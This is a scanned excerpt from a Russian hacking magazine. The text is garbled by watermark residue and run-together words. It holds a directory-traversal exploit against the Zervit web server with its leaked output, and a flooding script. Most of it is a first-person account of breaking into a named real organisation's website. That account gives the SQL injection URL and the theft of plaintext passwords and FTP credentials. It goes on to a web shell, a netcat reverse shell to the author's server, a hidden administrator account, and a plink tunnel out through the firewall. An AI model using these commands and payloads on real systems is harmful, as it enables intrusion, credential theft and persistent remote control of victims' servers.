Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
12.83 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПРИМЕРЫДЛЯРАБОТЫСWEBDAV МОЖНОНАЙТИЗДЕСЬ

(WEBDAV.ORG/GOLIATH/DAVEXAMPLE.HTML)

2e%2e%2f — ../ %2e%2e/ — ../

..%2f — ../ %2e%2e%5c — ..\ %c1%1c — / (UTF-8) %c0%af — \ (UTF-8)

Некоторыеизпредставленныхвариантовплатформозависимыипригодныдалеконенакаждойсистеме.

>> Exploits

СамаэксплуатациясостоитвпосылкезлонамеренногоGET-запроса:

GET /../../../../../boot.ini HTTP/1.1 User-Agent: Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1

Host: localhost:80

Accept: text/html, application/xml;q=0.9, application/ xhtml+xml, image/png, image/jpeg, image/gif, image/x- xbitmap, */*;q=0.1

Accept-Language: en-US,en;q=0.9

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Connection: Keep-Alive, TE

TE: deflate, gzip, chunked, identity, trailers

Ответ:

HTTP/1.1 200 OK

Server: Zervit 0.4

X-Powered-By: Carbono

Connection: close

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 355

[boot loader] timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /NOEXECUTE=OPTIN /FASTDETECT

Естественно, вместообращениякboot.ini, моглибыбыть:

1.Конфигурационныйфайлхостинг-панелиCpanel — /var/cpanel/ cpanel.config.

2.ФайлнастроекфункционированияPHP — PHP\php.ini.

../../../../../../../../../WINDOWS\php.ini

../../../../../../../../../WINNT\php.ini

../../../../../../../../../apache\php\php.ini

../../../../../../../../../xampp\apache\bin\php.ini

3.httpd.conf — файлописанияопцийWEB-сервераApache (+ егопроиз-

водных).

../../../../../../../../../Program Files\Apache Group\ Apache\conf\httpd.conf

../../../../../../../../../Program Files\Apache Group\ Apache2\conf\httpd.conf

../../../../../../../../../Program Files\xampp\apache\ conf\httpd.conf

4.Логидоступаиошибок.

../../../../../../../../../../Program Files\Apache

Group\Apache\logs\access.log

../../../../../../../../../../Program Files\Apache

Group\Apache\logs\error.log

Избыточныйсписокпутейконфиговинаиболееважныхдлянеавторизированногопросмотрафайловможнонайтивподборкеettee (antichat.ru/ thread49775.html). Вадвайзори, котороебылоопубликованонаmilw0rm, говорилосьоMemory Corruption потакойсхеме:

import socket

host = "127.0.0.1" port = 8080

try:

for i in range(1,10):

# организуем десятикратное повторение заброса WEB-сервера POST-запросами с большим буфером

buff = "a" * 3330

request = "POST " + buff + " HTTP/1.0" connection = socket.socket(socket.AF_INET,

socket.SOCK_STREAM) connection.connect((host, port)) connection.send(request)

except:

raw_input('\n\nUnable to connect. Press "Enter» to quit...')

Рассматриваяпроблемуближе, приведудетальныйанализ, почемуже такполучается.

Вотисходники:

Http.h:

69 struct http_data{

70SOCKET sck;

71char file[512];

72char keep_alive;

73char data[2048];

74char user_agent[512];

75unsigned long ptr;

76};

Http.c:

13 void parse_http(struct http_data *msgs)

14{

...

21 if(strcmp(ch,"GET")==0){

...

24ch=get_word(msgs);

25strcpy(msgs->file,ch);

Типичноеиспользованиенебезопаснойфункцииstrcpy ибуферамалого размера! Этовсеобъясняет.z

XÀÊÅÐ 06 /126/ 09

047

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

M0R0

MUXX

/ M0R0@INBOX.RU /

/ MUXX@BK.RU /

КЛАССИКА

ПРОНИКНОВЕНИЯ

ОТ ИНЪЕКЦИИ КАДМИНСКОМУ ДОСТУПУПО RDP

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Любойвзломпреследуетцель, котораяопределяетегоценность. Задефейситьсайтдлялатентныхлюбителейклубничкиилипоиметь очереднойрутовыйшелл— решатьтебе. Реалиитаковы, чтолюбая уязвимостьвweb-приложениитаитугрозудлясервера. Иеслитыне ограничиваешьсябанальнымииужеслегкаподнадоевшимиSQLинъекциями— статьядлятебя. Навходеадресжертвы, навыходе админскийдоступпоRDP — классикапроникновения!

>> взлом

ПРЕЛЮДИЯ, ИЛИКАКВСЕНАЧИНАЛОСЬ

Аначиналосьвсебанально. СначалабылURL. Кому-тоэтотURL былпочему-тооченьинтересен, инадобылоглянуть, чтоснимможносделать. URL сразупопалклису, которыйбыстровыдал результат: институтилитипатого, кучассылок, новости, менюипрочаялабуда. Мышьбыстроперескакивалапоссылкам, инастроение потихонькуподнималось. Мневсегданравились сайтысбольшимколичествомзнаковвопроса, параметрамитипаid ичисловымизначениями влинках... Аздесьихбыло, прямоскажем, не меньше, чеммусоранасвалках.

Глянувнаиконкулюбимогосканераиухмыльнувшись, ярешилвсе-такиненапрягатьадминов, аобратитьсякВеликомуИндексуирешитьвсе

тихоимирно. Итак, заветнаяфраза«insite:ism. ws», кнопкаSearch и… можносчитать, чтодело сделано?

Порядка10000 результатовотGoogle обещали кропотливуюработу. Лисбыстрообзавелся вкладками, вкоторыеполетеливсякиекавычки, равенства, дефисыипрочаянечисть.

ГЛАВА1, ИЛИВСЕМЫГРЕШНЫ

Практикапоказывает, чтопочтилюбойкрупныйресурсимеетинъекции. Хотьмаленькая, незрячаяифильтруемаяинъекция, ноесть наверняка. Надолишьприсмотреться. Воти здесьзаветныйплодбылнайденпоадресу http://www.ism.ws/Applications/Forms/ FormDisplay.cfm?FormID=8464.

Всеоказалосьнастолькотривиально, чтоневозникалонитенисомнениявуспешностидальнейшихдействий. Привычнаясине-сераястраница ошибкиColdFusion, представшаяпередглазами, открылавзоруиполныйSQL-запрос, итип СУБД(SQL Server), илокальныйадресскрипта. Вообще, информативностьошибок, выдаваемых ColdFusion, простопоражает— дажеполныйстек вызовов, бери, нехочу. Инъекциянайдена, пора приступатьквнедрению.

ГЛАВА2, ИЛИДАЗДРАВСТВУЮТ ОШИБКИ

СерверБДотмелкомягкихвсегдапоражалвозможностями. Янеговорюостандартах, которые, вобщем-то, всеразработчикиСУБДтрактуютпо-

048

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИНЪЕКЦИЯ НАЙДЕНА!

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

разному. НопарниизMicrosoft, вообще, каким-то своим, неведомымпутемидут. Мне, например, нравитсяработатьсSQL Server. Ненадониколичествоколонокподбирать, ниихтипы— ошибку напреобразованиевызвал, ивответевсяинформацияизбазы, какнаблюдечке. Оченьудобно! Сначалапроверяемвозможностьвывода:

http://www.ism.ws/

Applications/Forms/FormDisplay.

cfm?FormID=8464+or+1=(select+@@ version%2bchar(58)%2bdb_ name()%2bchar(58)%2bsystem_ user%2bchar(58)%2b@@servername)--

Вответполучаемошибку:

[Macromedia][SQLServer JDBC Driver] [SQLServer]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 - 8.00.2050 (Intel X86) Mar 7 2008 21:29:56 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) :RDCMS- ISM-Core:rms:ISMSQL01’ to a column of data type int.

ИмеемсервернепервойсвежестиибазуRDCMS- ISM-Core.Внимательноприсмотревшись,ябук- вальноподпрыгнулотрадости:аббревиатураCMS явнодавалапонять,чтосайтикненаколенках сварганен,ацелаябольшаяиуважаемаяконтора эточудонаписалаибабласрубила.Нообэтом позже.АсейчаснаочередиструктураБД.

НаэтомэтапемнедетищеMicrosoft нравится уженетаксильно. Малотого, чторазработчики неудосужилисьсделатьнормальныйпейджинг результатов, такещеиrow_number в2000 серверереализоватьнеуспели. Ждетнасжесткая эротическаяпрогулкасиспользованиемтоповой конструкции. TOP — этотакаяфишка, которая позволяетполучитьпервыенесколькозаписей позапросу. Авотскакойзаписиначинать, указать

невозможно, чтовусловияхнашегонереальноговзломанусовсемникакнеудобно. Можно, конечно, пойтистандартнымпутем: получатьпо однойзаписи, запоминатьиявноисключатьиз следующихзапросов. Номнеэтотметодсовсем невкайф: иавтоматизациитрудноподдается, даидлинаURL нерезиновая— длябольшихбаз накроетнасмеднымтазом. Поэтомумывсехобманем.Сортируемвверхи

вниз—получаемприемлемыйпейджинг.Сервак пощадимидобавимусловиянапроверкуназваний полей—пустьонипароликакие-нибудьсодержат. Нуадлятого,чтобысовсемкрутобыло,определим дляначалаихколичество(примерызапросов смотривоврезке).Воттаквот—их9.Поехали! СразубросиласьвглазатабличкаES_LoginInfo (RDCMS-ISM-Core : dbo : ES_LoginInfo : Password). Вобщем-то, можнопотиратьрукии заказыватьпиццу, нонетут-тобыло. Определив структурутаблицы, яполучилследующуюкартину. Втаблицеприсутствовалотриинтересныхполя:

EntityID, Username иPassword. Думаю, объяснять ненадо, чтоябыстросоставилновуюсерию запросовимоимглазампредсталиданныеюзверей. Паролихранилисьвоткрытомвидеиможно былосломяголовукидатьсянасайтвпоисках заветнойадминки. Я, кстати, когдадобралсядо исходников, долгоитуповтыкал, почемунельзя былошифроватьпароли, еслипарни-разработ- чикиCMS этопредусмотрели(SHA-1, SHA-512, MD5) идажереализовалисобственныйалгоритм (iMIS). Нудаладно, язалогинился, пошарилпо сайтуивернулсякдампуструктурыБД— ещежев 8 таблицахбылиполяспаролями.

ГЛАВА3, ИЛИДОСТУПОТКРЫТ

СледующейпривлеклавниманиетаблицаSM_ Sites, содержащаяколонкуснезамысловатым названиемFTPPassword. Какоказалось, таблица содержалатакжеколонкиFTPUserName и FTPServer. Сливданныеизтаблицы, яувидел, что

вкачествесерверовиспользовалисьftp.rd.net

иftp2.rd.net. Поадресуrd.net какразихостится

сайтразработчиков, асамаCMS, оказалось, носитгордоеназваниеResults Direct. Зачемв базехранитьучетныеданные, ятакинедогнал, нокftp ониреальноподходили. Аучетнаязапись сименемism.ws.prod.code ивовсенавевала радужныемысли, которые, кслову, быстро подтвердились. КореньFTP былоченьпохожна кореньсамогосайта. Послетестированиядоступностинесколькихскриптовфактотображения папокифайловбылокончательноустановлен. ДоступпоFTP открывалширочайшиеперспективыпозаливкефайловнасервериизбавлялот, казалось, неминуемыхприключенийпораскопке функционалаадминкиипоискавозможностей полученияшелла.

ГЛАВА4, ИЛИХОЛОДНЫЙСПЛАВ

ЧтоделатьсFTP, полагаю, вопросовниукого невызывает. Наумсразуприходитобеспечить выполнениекоманднасервакеивыбраться, наконец, насвободуиздушныхобъятий web-приложения. Очевидно, нуженвеб-shell, которыйпозволитбродитьпосерверуивыполнятькоманды. Новотбеда— никакихследов PHP или, нахудойконец, Perl обнаружено

небыло. Азначит, моментистинынаступил: придетсяпрограммитьнаColdFusion. Очень гибкаяипростаявосвоениисреда(пословам разработчиков), номнепочему-тониразуне нравится. Такчто, гуглимнатемуWeb-shell’ов идикообламываемся. Всессылкиприводят кодномуитомуженевзрачномукусочкукода, которыйтолькокомандыисполнятьиумеет. Ну даладно, сейчасподточимиподпишем, нужно лишьматчастьподнять. Некотороевремяушло нанереальнокрутуюразработку, послечего насветпоявилисьдваотпрыска. Первыйнас водитподирамифайлыпоказывает, второй насслушаетиделает, чтомыприкажем. Файлыбыстрозанялисвоезаконноеместо. Вскореяпонял, чтовладеюправамиучеткиSYSTEM, аэтобылонереальнокруто. Останавливатьсяна достигнутомбылонельзя.

XÀÊÅÐ 06 /126/ 09

049

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

КОРЕНЬFTP ОЧЕНЬНАПОМИНАЕТКОРЕНЬСАМОГО САЙТА

ГЛАВА5, ИЛИЧЕРНЫЙБРАТ

Web-shell — это, конечно, здорово, нововсенетакудобно, какможет показаться. Надобратьбыказарогаиполучатьнормальнуюконсоль. Total послушнозабросилnetcatнаFTP. Надедикебылзапущенnetcatврежиме прослушивания: «nc.exe –l –p 1234». Назарядкувшеллепоставлена команда«cmd /c nc.exe m0r0superdedik.com 1234 –e cmd». Выстрелсделан

— шеллвконсоли! Пошаривпофайловойсистемеизапустивсдесяток интересныхутилиток, япринялрешение, чтоВиндабезокон— этозло. В 99-мгодумонадыещенепоявились, ставитьчто-тобылозападло, арулить сервакомпочему-тобыловообщеникакнеудобно. Netstat показалживой

Как же устроить пейджинг?

ПолучитьвседанныеизБДзаодинзапрос— мечталюбогохакера. Ножизньдиктуетсвоиусловияи, какправило, взломщиквынужден выуживатьинформациюстрочказастрочкой. Новотбеда, разработчикиСУБДрешилиситуациюусугубить, причемкаждыйпо-своему. Итак, осхемахпейджингаданных.

1.MySQL. Предлагаетконструкциюlimit [offset, ]rowcount. Выбираем rowcount (внашемслучае1) строк, начинаясострокиoffset. Гениально, простомолодцы!

2.Oracle. Используемпсевдостолбецrownum. Проблемавтом, что rownum генерируетсяавтоматически, инельзя, кпримеру, выставитьусловиетипаrownum=n. Такойзапросвернетпустойрезультат. Безподзапросовздесьнеобойтись: select fieldname from

(select a.fieldname, rownum r from (select fieldname

from tablename) as a where r=<offset>)

3.SQL Server 2005. Здесьвсепостандарту: используемrow_ number(). Например: select field1, field2 from (select

row_number() over (order by a.field1) as r, a.field1, a.field2 from (select field1, field2 from tablename)

as a) as b where r=<offset>.

4.SQL Server 2000. Авотздесьвсежестко: унасестьтолькоTOP. Дляпейджингаприменимтакуюхитрость: еслинамнужновыбрать записьсномеромoffset, мысначалавыберемTOP <offset> записейс восходящейсортировкой, аужеизполученногорезультатавыберем первуюзаписьснисходящей. Врезультатепоследняястрокастанет первойи… делосделано. Толькопомни, дляполучениякорректного результатасортироватьнужноповсемполямвзапросе!

ПОЧЕМУНЕШИФРОВАЛИСЬПАРОЛИ, ОСТАЛОСЬЗАГАДКОЙ

порт3389, иглазамоирадостнозаблестели. Вшеллпосыпалисьочень важныеинужныекоманды.

net user st password /add

net localgroup Administrators st /add

Запускmstsc,темнеменее,жесткообламывал,выдаваясообщениеонедоступностихоста.NMAPобламывалещебольше,таккакоткрытымиоказались только80и25порты.Видимо,хостбылзащищенфаеромипорт3389тривиальноблокировался.Сдаватьсянехотелось,поэтомубылбыстросоставлен переченьвозможныхспособовполученияграфическогоинтерфейса:

VNC;

PPTP;

SSH.

ГЛАВА6, ИЛИПРИВЕТ, ОКОШКИ

Основнаяпроблемазаключаласьворганизацииобратногоконнектана нашдедик. Опытсnetcat яснодавалпонять, чтопортыблокируютсятолько навходящиесоединения, поэтомуорганизацияобратногоконнектаот какой-нибудьграфическойсистемыуправлениянавернякадалабы

Ручное VS автоматическое

Поискуязвимостейнасайте, вцелом, сводитсякдвумпунктам:

инвентаризацияскриптовиихпараметров;

фаззингпринимаемыхотпользователяданных.

Решениеэтихзадач, впринципе, поддаетсяавтоматизации, нона поверкуоказывается, чтоединственнымстоящимсканеромявляетсяAccunetix. Всеостальные, втомчислеивсюдураспиаренный XSpider, работаюткрайнемедленноипропускаютогромноеколичествоинъекций. Крометого, любойсканерсерьезнонапрягает сайт, выдаваяхакераспотрохами.

Зачемжепользоватьсясканерами, еслибольшуючастьработыза насужесделалиребятаизGoogle. Предоставляягибкиеправила созданиязапросов, Google позволяетполучитьструктурусайтана основесвоегоиндекса, аужналичиеинъекцийбыстропроверяется вручную. Тихоинезаметно. Авотеслиничегонайтинеудалось, можноприбегнутьиксканеру. Толькомысоветуемнепользоватьсяплатнымирешениямидляламеров, анаписатьсобственного маленькогомногопоточногозверька.

050

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВОТОНА— ЗАВЕТНАЯКОНСОЛЬ

РУЛИМСЕРВЕРОМПОRDP — ЦЕЛЬДОСТИГНУТА

возможностьрулитьсерваком. Естественно, выборпална VNC. СхемавнедренияVNC, вцелом, достаточнопроста(для

TightVNC, например):

1.На сервак заливаются winvnc.exe и wm_hooks. dll.

2.Устанавливается и запускается VNC-сервер. winvnc.exe –install

net start "VNC Server"

3.На дедике запускается клиент в режиме прослушивания.

4.Осуществляется реверс-коннект.

winvnc.exe –connect <host>:<port>.

Унаспочтивсесхвачено, кромеодноймаленькойдетали, а именно— наличиядоступакрабочемустолу. Надеждаумирала, едвауспевродиться, таккакшеллунасбылсправами учетнойзаписиSYSTEM. Небылибымыхакерами, если бынепопробовали, но, какиожидалось, всепопыткишли лесом. БылдажеиспробованMetasploit сwindows/vncinject/ reverse_tcp нагрузкой(жуткотормознаявещь), ноиВеликий Фреймворкнепомог. ПринципвнедренияVNC насервер

посредствомнеинтерактивногошеллаивусловияхотсутствия доступакрабочемустолуосталсяневедом. Насамомделе, я дажеобрадовался— зачемнамVNC, еслиестьRDP. Надотолькопробитьсячерезфаер.

ГениальнаямысльсPPTP заключаетсявсоздании PPTP-соединениядонашегодедика— ивдальнейшем обращениикузлуповнутреннейадресациистуннелированиемтрафикасквозьфаер. ВВиндевсесоединения настраиваютсяграфически, нодолженбытьспособработы изконсоли. Запускаемнатестовоймашинеprocmon от Руссиновичаимониторимреестрвмоментвызоваклиента подключенияксети. Результатнеподдаетсяразумному объяснению, — ничегоинтересногосреестромнепроисходит. Microsoft самасебяпревзошла. Стоилосоздавать реестр, еслисобственныежемодулиимнепользуются. Пустьподумаютнадосуге, амы, темвременем, нашли

«телефоннуюкнигу» поадресуC:\Documents and Settings\ All Users\Application Data\Microsoft\Network\Connections\ Pbk\rasphone.pbk, вкоторой, собственно, иописываются параметрыподключениякDial-up иVPN-сетям. Создаем подключениекдедику(сустановленнойинастроенной службойRRAS) натестовоймашинеикопируемполучен-

ныйфайлrasphone.pbk навзломанныйхост. Затемсоздаемкомандныйфайлследующегосодержания:

rasdial connection_name user password route add 0.0.0.0 mask 0.0.0.0 remotehostgateway

Втораястрочканужнадлявосстановлениямаршрутапоумолчаниюпослеподключения, чтобынашдедикневзялнасебя всеобязательствапомаршрутизациитрафика. Запускаем батникивыпадаемвосадок:). Соединениянамневидать, как своихушей, видимо, фаерблокируетисходящиесоединения наосноветипапротокола. ВчерныйсписокпопалинашGREтрафик.

Отчаяниевсесильнеепроникаловнашидуши, номыне сдались. Поправде, тупилимыоченьдолго, таккакнадобыло сразуобращатьсязапомощьюкSSH. Это, кстати, оченьмощныйзверь, очемнеразписалосьвz. Нетолькошеллможно получить, ноимногодругиххитрыхвещейпридумать. Наша последняянадеждазаключаласьвуспешнойреализации всеготрехшагов:

запустить на дедике SSH-сервер

залить на узел SSH-клиент

подключиться и создать нужный маппинг портов

Ямногоемогупонять, но, например, почемувВиндев

XXI векедосихпорнетвстроенногоSSH-сервера, мне неведомо. Нудаладно, ставимлюбой, благоихдовольно много. Вкачествеклиента, естественно, используется любимыйputty. Нотолькоputty непростой, аволшебный. Еслипомнишь, приобращениикновомуузлуputty честно предлагаетсохранитьсигнатурувкэше. Доступккоманднойстрокеунасинтерактивностьюнеотличается, иничего мыответитьнаэтотвопроспопростунесможем. Значит, надо, чтобыотпечатоксохранялсяавтоматически, аputty этогонеумеет. Немногопогуглив, мынашлиQuest PuTTY 0.60_q1.129. Всетожесамое, плюсто, чтонамнужно! Заливаемplink.exe насервакиисполняемкоманду:

plink.exe -nc m0r0superdedik.com:22 -batch -pw password -R 3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390 -l st -auto_store_key_in_ cache m0r0superdedik

DVD

dvd

Нанашемдискетебя ждутисходникипро-

стогоweb-shell’адля сайтовподуправле-

ниемColdFusion.

HTTP://WWW

links

Дляавтоматизации поискауязвимостей можешьвоспользоватьсяследующими продуктами:

acunetix.com/ vulnerability-scanner/

— Accunetix Web Vulnerability Scanner.

ptsecurity.ru/xs7.asp

— Xspider.

cirt.net/nikto2 — Nikto.

sensepost.com/ research/wikto — Wikto.

XÀÊÅÐ 06 /126/ 09

051

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

взлом

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ФАЕРПОБЕЖДЕН— КАНАЛПОЛУЧЕН

INFO

info

Получениеинфыиз БДвручную— утомительныйинеблагодарныйпроцесс. Присмотриськсредствамавтоматизации (илиразработайсвой продукт), например SIPT. ИМХО, прога частоглючит, работаетоднопоточно, но сзадачейсправляется. Читайветкуот разработчиканаача-

те— forum.antichat. net/threadnav24918- 1-10.html.

АВОТИПОЛЬЗОВАТЕЛИ

СмотримвконсолиSSH-сервераидикорадуемся—естьконнект! Теперьзапускаемmstscиконнектимсянаlocalhost:3390.Нашему взорупредстаетокновходаWindows2000.Вводимтудаданныедобавленногоcпомощью«netuserадминистратора»инаслаждаемся графикойсправамиадминистратора.Ура,можнохлебнутьнастоя- щегорок-н-рольногопойла,тоестьвиски,иотпраздноватьуспех.

ГЛАВА7, ИЛИДАЕШЬ АВТОМАТИЗАЦИЮ

Напервыйвзгляд, всезамечательно, нокаждыйраззаходить наweb-shell изапускатькомандунаподключениепоSSH наследующийденьсталослишкомутомительным. Поэтому

